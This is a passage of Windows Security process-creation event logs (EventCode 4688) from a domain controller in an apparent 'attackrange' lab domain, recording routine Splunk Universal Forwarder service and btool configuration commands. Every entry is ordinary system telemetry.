	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254008
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12f0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x910
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254023
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xc9c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254022
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xc04
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254021
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x9f0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254020
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254019
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x830
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254018
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254017
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254016
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254015
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1334
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254014
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x578
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12bc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254013
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x129c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254011
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x7ac
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254010
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1150
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254009
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1150
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254033
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254032
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf40
